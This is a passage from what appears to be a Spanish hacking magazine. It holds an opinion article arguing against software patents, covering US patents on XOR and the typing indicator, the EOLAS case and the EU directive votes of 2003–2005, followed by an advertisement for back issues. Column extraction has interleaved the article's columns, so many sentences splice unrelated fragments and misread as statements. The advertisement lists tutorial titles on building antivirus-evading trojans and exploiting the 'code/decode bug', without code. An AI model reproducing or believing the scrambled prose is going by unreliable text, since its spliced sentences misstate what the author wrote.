y para responderlas nuestra sociedad inventó el concepto de vosotros no sabréis es que muchas personas llevamos
de la patente. más de tres años luchando para evitar que en Europa se

Imaginad que sois ingenieros y estáis trabajando en el


diseño de algún tipo de maquinaria. Llegados a un punto
del diseño, surge la necesidad de unir dos piezas
importantes de alguna forma, por lo que elegís un tipo
especial de tornillo para esa tarea. Entonces llega el
ingeniero jefe y dice...

“Ese tipo de tornillo está patentado por la empresa


Tornillitos S.A.”

Menuda decepción... habrá que pagar la patente o pensar


en un sistema diferente para hacer lo mismo. O usar otro
tipo de tornillo que ya exista y no esté patentado. La
persona que inventó ese tornillo especial tiene ciertos
privilegios sobre su invento (con matices... que más
adelante veremos).

Ahora imaginad una situación alternativa, en la que el


ingeniero jefe llega y dice...

“No puedes hacer eso, atornillar está patentado. Es más,

63

Descargado de www.DragonJAR.us / Google => "La WeB de DragoN"


pueda patentar el “atornillar” software. No se considerarán invenciones a los (O exclusiva) es una función elemental
efectos del párrafo 1, en particular: matemática definida a partir del Álgebra
Es el momento de hablar acerca de lo de Boole (http://es.wikipedia.org
que es y lo que no es una patente. A a) Los descubrimientos, las teorías /wiki/%C3%81lgebra_de_Boole) y es el
grandes rasgos, una patente es un científicas y los métodos matemáticos. “ABC” de cualquier elemento de software
contrato entre un inventor y la sociedad b) Las creaciones estéticas. o hardware informático. Esta patente
donde el inventor adquiere ciertos c) Los planes, principios y métodos para (que, para más inri, pese a estar
derechos y obligaciones. Entre los el ejercicio de actividades intelectuales, prohibido en Europa, ha sido concedida
derechos, está el poder decidir sobre para juegos o para actividades en varios países miembros: FR2338531,
quién puede fabricar, vender o utilizar económicas, así como los programas de DE2701891, DE2760260, DE2760261,
su invento durante un período limitado ordenadores. GB15419) y otras similares (como por
de tiempo (normalmente 20 años). Entre d) Las formas de presentar ejemplo el doble clic que Microsoft tiene
los deberes, especificar al detalle el informaciones. patentado -“Time based hardware button
funcionamiento y fundamentos de dicho for application launch”-) hacen que las
invento, así como el “regalar a la El apartado C deja bien claro que los posibilidades de violar una patente al
sociedad” el mismo pasado el citado p r o g ra m a s d e o r d e n a d o r n o s o n desarrollar un nuevo software sean casi
período de vigencia de la patente. Todos patentables. Y aunque no lo dejara, totales.
salen ganando: el inventor posee ciertos teniendo en cuenta que el software de
privilegios por su invención, y la sociedad ordenador no es más que un complejo Los defensores de las patentes de
se nutre de ese nuevo conocimiento. método matemático programado en software (las grandes empresas, desde
binario, lo estaría igualmente. Parece, luego) dicen que desarrollar un software
¿Dónde está entonces el límite entre
pues, que todo queda claro. cuesta más que comprar la patente...
patentar un tornillo y el hecho de y puede que sea cierto. Pero hay un
atornillar? Está marcado por ciertas
Pues no. Aquí es donde entra en escena problema: el titular de la patente tiene
características que deben cumplirse para
la “superpotencia mundial” que lleva las el derecho de venta de la misma... pero
poder otorgar la patente: debe ser un
riendas de nuestra sociedad en esta también tiene el derecho a negar el uso
proceso, maquinaria o artículo original
época: Estados Unidos. En “la tierra de de su patente. Por tanto, si vas a
y novedoso, útil y que no sea obvio. Los
la libertad” (espera, que me da la risa...) desarrollar un software mejor que el de
inspectores de patentes deciden si una
se puede patentar el software. Dentro la empresa de la competencia, y dicha
invención cumple esas características o
de lo malo, que se pudiera patentar un empresa posee una patente que vas a
no. Como veréis, atornillar o unir dos
programa completo desarrollado (por necesitar para desarrollarlo... ya puedes
piezas es algo tan obvio que no puede
ejemplo, un sistema operativo de varios olvidarte de terminarlo.
ser patentado.
millones de líneas de código) no sería
Además, una de las tareas precedentes
tan malo -sería patentar un “tornillo”
Pero el concepto de la propiedad a la concesión de una patente es la
informático- mientras los procesos
intelectual y de patente, pese a ser investigación del inspector para
elementales comunes a todo programa
relativamente moderno en nuestra determinar que en efecto se trata de
no fueran patentables -el “atornillar”
historia (Convenio de la Unión de París, una invención novedosa. En el campo
software-. Pero es que tampoco es así:
20 de marzo de 1883), está del software esto es prácticamente
en Estados Unidos se puede patentar y
manifiestamente anticuado para imposible, y ha llevado a situaciones
se patenta hasta el más elemental
describir ciertos aspectos de nuestra como las dos patentes que he descrito
proceso informático (el 95% de las
sociedad moderna. Dejando aparte lo - anteriormente y otras del mismo tipo:
patentes de software son procesos
en mi opinión- absurdo del término se han patentado cosas que NO eran
elementales matemáticos o
propiedad intelectual (por la propia novedosas y en algunos casos ni tan
c a ra c t e r í s t i c a s r e q u e r i d a s p o r e l
definición de propiedad, lo intelectual siquiera las ha ideado el titular de la
usuario).
no puede tener propietario), debemos patente. ¿Un ejemplo? Si sois usuarios
preguntarnos qué ocurre con una ciencia de messenger, alguna vez habréis visto
¿Qué consecuencias tiene esta política
relativamente moderna y muy el mensaje de “el usuario fulanito está
de patentes? Muchas, y ninguna buena.
importante que es la informática: los escribiendo un mensaje”. Eso fue
Veamos algunas:
primeros computadores surgieron en la patentado hace poco por Microsoft
década de los 40, y su boom no ha (patente US6631412), pese a que el
Dado que una gran cantidad de procesos
tenido lugar hasta los años 90 de la primer software en implementar dicha
elementales están patentados, cualquier
mano de Internet. funcionalidad fue ICQ y pese a que
programa que desarrolles tiene unas
muchísimos clientes de mensajería
probabilidades casi totales de violar
Echemos un vistazo al Convenio del 5 instantánea la incluyen.
varias patentes. Hay en Estados Unidos
de octubre de 1973 sobre la concesión
una patente que protege el uso de la Ya conocemos las consecuencias de una
de patentes europeas (http://www.
función exclusiva OR para la inversión política de patentes permisiva, pero...
oepm.es/internet/legisla/dcho_eur/22
de mapas de bits (bitmaps), es decir, ¿qué consecuencias prácticas tiene todo
cpe.htm), concretamente al artículo 52
el XOR (patente US4197590). El XOR esto?
(Invenciones patentables), punto 2:

64

Descargado de www.DragonJAR.us / Google => "La WeB de DragoN"


desestimen las demandas, por el camino
te habrás arruinado (los recursos
necesarios para mantener tantos litigios
son ingentes) o habrás terminado
malvendiendo el software a la
competencia.

Seguramente alguno de vosotros habrá


pensado “pues podemos atacarles con
su propio sistema de patentes”. Aún en
el caso de que económicamente os lo
pudierais permitir, seguramente no
serviría de nada. Veamos un famoso
ejemplo: el caso de EOLAS contra
Microsoft.

EOLAS (Embedded Objects Linked Across


Systems) es una mediana empresa
dedicada al desarrollo de software que
poseía una patente sobre el uso de
componentes ActiveX empotrados en la
navegación por Internet. No entraré en
la parte técnica de la patente (absurda
Para empezar, todas las patentes están tiene la patente de ver cuándo un como las que ya hemos comentado,
atesoradas por grandes compañías: usuario está escribiendo un mensaje, desde luego) porque requeriría explicar
Microsoft, Apple, AOL... todas ellas AOL tiene la patente de las listas de qué es un control ActiveX, un
tienen una enorme cantidad de patentes contactos. Tanto MSN Messenger como componente empotrado, una llamada a
de procesos elementales en el software. AIM incorporan las características una función externa... pero sí diremos
Esto tiene una consecuencia patentadas por la competencia, pero el que Microsoft Internet Explorer es quizá
importantísima: se mantiene la resultado global es empate. Mientras, el navegador que realiza un uso más
idiosincrasia empresarial en el campo las pequeñas compañías son aplastadas: intenso de ese tipo de componentes,
del software. Las grandes compañías si desarrollas un software que haga la cada vez que carga un javascript, java,
están sumidas en su particular “guerra competencia a alguna de las grandes, flash, vídeo, audio, etc.
fría” de patentes: todas ellas tienen seguramente por el camino hayas
poderosas armas, por lo que ninguna infringido varias patentes y te EOLAS demandó a Microsoft exigiendo
mueve ficha. Por ejemplo, en el campo encontrarás con varias demandas sobre que se pagara por la patente o se
de mensajería instantánea, si Microsoft la mesa. Aunque finalmente se eliminaran esas funcionalidades de
Internet Explorer (y, dado que se trataba
de la patente de un proceso -atornillar-
y no un método -tornillo-, no había
lugar a la reescritura del código).
Microsoft fue condenado por un tribunal
a pagar 521 millones de dólares a
EOLAS. Pero Microsoft es una empresa
tremendamente poderosa, y si pudo
eludir la condena por monopolio que le
obligaba a dividir en dos partes la
compañía (con intervención de mano
negra incluida), no iba a ser menos en
este caso: un tribunal superior anuló la
condena y, de paso, la patente de
E O L A S. Re s u l t a d o : g a n a n l o s d e
siempre.

Como conclusión general, las patentes


d e s o f t wa r e f r e n a n e l d e s a r r o l l o
tecnológico -¿imagináis lo que supone
bloquear durante 20 años una tecnología
en un sector con una evolución tan

65

Descargado de www.DragonJAR.us / Google => "La WeB de DragoN"


rápida como es el de la informática?- sobre la famosa directiva de patentes un punto B, y la presidencia
en el campo de la informática, a la vez de software europeas como “B item”, y (Luxemburgo) lo denegó, violando así
que propician la aparición de monopolios en todas ellas fue rechazada la directiva. la propia normativa del Consejo
que atentan contra la libre competencia. Un punto B es un punto a discutir: se Europeo. Con el único voto en contra
expone un único punto, se debate, y se de España, la directiva fue aprobada. A
Este panorama no es muy halagüeño, vota. partir de ese punto, pasaba a ser votada
la verdad, y de hecho en Estados Unidos por el Parlamento Europeo.
hay bastantes sectores que claman por Junto a todas esas votaciones como
un cambio en su sistema de patentes: punto B rechazadas, otro elemento Todo el mundo daba prácticamente por
una enorme cantidad de pequeñas y importante reforzó en gran medida la sentado que el Parlamento ratificaría la
medianas empresas de desarrollo de posición contraria a las patentes de decisión del Consejo, pero la presión (y
software han migrado a Europa para software: las crecientes movilizaciones no únicamente de la ciudadanía o
escapar del yugo de las patentes. Pero... populares. Hubo varias manifestaciones colectivos anti-patentes, sino de varios
¿estamos a salvo en Europa? en Bruselas (como por ejemplo la del países miembros y europarlamentarios)
12 de mayo de 2004, precedente a las que a partir de ese momento se ejerció
El 20 de febrero de 2002 la Comisión votaciones del 18), recogida de firmas, acerca de esta directiva ha dado sus
Europea difundió una propuesta de protestas online... frutos.
directiva sobre la patentabilidad del
software (http://europa.eu.int Llegados a este punto, la información El 6 de Julio de 2005 (hace cuatro días,
/comm/internal_market/en/indprop/c sobre la directiva y sus consecuencias en el momento de escribir estas líneas,
om02-92es.pdf), yendo expresamente estaba muy difundida, la gente estaba y unas semanas cuando lo estéis
contra el Convenio del 5 de octubre de concienciada y a nadie le pillaba de leyendo) se votó la moción de rechazo
1973 sobre la concesión de patentes. sorpresa. Pero entonces comenzó el a la directiva sobre la patentabilidad
La presión de las grandes compañías de “juego sucio” del lobby pro-patentes: del software. Dicha moción fue aceptada
s o f t wa r e t u vo m u c h o q u e ve r a l s e i n c l u y ó l a d i r e c t i va s o b r e l a por unos aplastantes 648 votos a favor
respecto, desde luego. A partir de ese patentabilidad del software como un “A f r e n t e a l o s 1 4 e n c o n t ra y 1 8
momento comenzó un durísimo pulso item” dentro de paquetes de directivas abstenciones. Ésta es la victoria más
por las patentes de software en Europa: de pesca y agricultura. Os preguntaréis importante que hemos obtenido hasta
por un lado la larga sombra del lobby qué narices tienen que ver las patentes ahora, pero no podemos despistarnos:
de las grandes empresas de software, de software con la pesca y la agricultura. la directiva ha sido rechazada, pero
y por otro los grupos anti-patentes Pues nada, y eso es lo que se pretendía: habría sido mejor que se aprobara con
(como Proinnova -http://proinnova.hispa un paquete de propuestas tipo A se las enmiendas propuestas por la FFII,
linux.es/- y FFII (Foundation for a Free aprueba o rechaza en conjunto y SIN que habrían hecho que el software NO
Information Infrastructure) -http:// discusión. En un par de ocasiones fue pudiera ser patentable en la UE. Ahora,
www.ffii.org/-). rechazada aún así, pero al final ocurrió digamos, estamos como al principio.
lo que tarde o temprano tenía que Bueno, exactamente como al principio
El primer asalto fue el 24 de septiembre ocurrir... no, tenemos bastantes precedentes y
de 2003 (yo lo viví en pleno VI Congreso una sociedad concienciada respecto a
de Software Libre Hispalinux), donde El 7 de marzo de 2005 fue aprobada de este tema.
se aprobaron algunas correcciones a la forma ILEGAL la directiva sobre la
directiva que beneficiaban al movimiento patentabilidad del software como punto ¿Queréis que Europa siga los pasos de
anti-patentes. Un resultado bastante A dentro de un paquete de directivas Estados Unidos? Yo NO. Por favor, visitad
satisfactorio para tratarse del primer de pesca y agricultura. Los nervios se Proinnova (http://proinnova.hispa
asalto, teniendo en cuenta que había crisparon: FFII denunciaba la ilegalidad linux.es/) y FFII (http://www.ffii.org/)
“pillado por sorpresa” a todo el mundo, del proceso de aprobación si deseáis contribuir en esta lucha por
y que los miembros del Consejo Europeo (http://wiki.ffii.org/Cons050307En) y nuestros derechos.
no tenían demasiado claro de qué iba varios ministros se quejaron de las
el asunto. Quizá el mayor peligro en irregularidades acaecidas NO queremos un sistema de patentes
este tipo de situaciones es que los que (http://www.telegraph.co.uk/money/ de software que atenta contra la
tienen que votar la directiva no conocen main.jhtml?xml=/money/2005/03/08/ innovación y el desarrollo tecnológico.
en profundidad el terreno en el que se cnbrus08.xml&menuId=242&sSheet=
mueve la misma, y tienen que confiar /money/2005/03/08/ixcity.html). ¿Que Ramiro C.G. (alias Death Master)
en las opiniones de expertos... expertos ocurrió? La normativa dice que cuando
q u e s u e l e n p r o v e n i r d e g ra n d e s un miembro solicita que un punto A
compañías, y cuyas opiniones son pase a ser un punto B, solamente pueda
bastante parciales. ser denegada dicha petición por mayoría
del Consejo en votación. Polonia,
A partir de ese momento se realizaron Dinamarca y Portugal solicitaron que la
varias votaciones en el Consejo Europeo directiva sobre patentes pasara a ser

66

Descargado de www.DragonJAR.us / Google => "La WeB de DragoN"


CONSIGUE LOS NÚMEROS
AT R A S A D O S E N :

NÚMERO1: NÚMERO 2:
-CREA TU PRIMER TROYANO -CODE/DECODE BUG: INTRODUCCIÓN.
INDETECTABLE POR LOS ANTIVIRUS. -CODE/DECODE BUG: LOCALIZACIÓN DEL OBJETIVO.
-FLASHFXP: SIN LÍMITE DE VELOCIDAD. -CODE/DECODE BUG: LÍNEA DE COMANDOS.
-FTP SIN SECRETOS: PASVMODE. -CODE/DECODE BUG: SUBIENDO ARCHIVOS AL SERVIDOR REMOTO.
-PORT MODE/PASV MODE Y LOS FIREWALL: LA UTILIDAD DE LO APRENDIDO. -OCULTACIÓN DE IP: PRIMEROS PASOS.
-TCP-IP:INICIACIÓN (PARTE 1). -LA FLECHA ÁCIDA: LA SS DIGITAL.
-EL MEJOR GRUPO DE SERVIDORES FTP DE HABLA HISPANA. AZNAR AL FRENTE DE LA SS DEL SIGLO XXI.
-EDONKEY 2000 Y SPANISHARE.
-LA FLECHA ÁCIDA.

NÚMERO 3:
-PROXY: OCULTANDO NUESTRA IP.
ASUMIENDO CONCEPTOS.
-PROXY: OCULTANDO NUESTRA IP. NÚMERO 7:
ENCADENANDO PROXIES. - PROTOCOLOS: POP3
-PROXY: OCULTANDO NUESTRA IP. - PASA TUS PELICULAS A DIVX III (EL AUDIO)
OCULTANDO TODOS NUESTROS PROGRAMAS TRAS LAS - PASA TUS PELICULAS A DIVX IV (MULTIPLEXADO)
CADENAS DE PROXIES. - CURSO DE VISUAL BASIC: LA CALCULADORA
-EL SERVIDOR DE HACKXCRACK: CONFIGURACIÓN Y MODO DE EMPLEO. - IPHXC: EL TERCER TROYANO DE HXC II
- APACHE: UN SERVIDOR WEB EN NUESTRO PC
-SALA DE PRACTICAS: EXPLICACIÓN. - CCPROXY: IV TROYANO DE PC PASO A PASO
-PRÁCTICA 1ª: SUBIENDO UN ARCHIVO A NUESTRO SERVIDOR. - TRASTEANDO CON EL HARDWARE DE UNA LAN
-PRÁCTICA 2ª: MONTANDO UN DUMP CON EL SERV-U.
-PRÁCTICA 3ª: CODE/DECODE BUG. LÍNEA DE COMANDOS.
-PREGUNTAS Y DUDAS.

Descargado de www.DragonJAR.us / Google => "La WeB de DragoN"


Descargado de www.DragonJAR.us / Google => "La WeB de DragoN"

También podría gustarte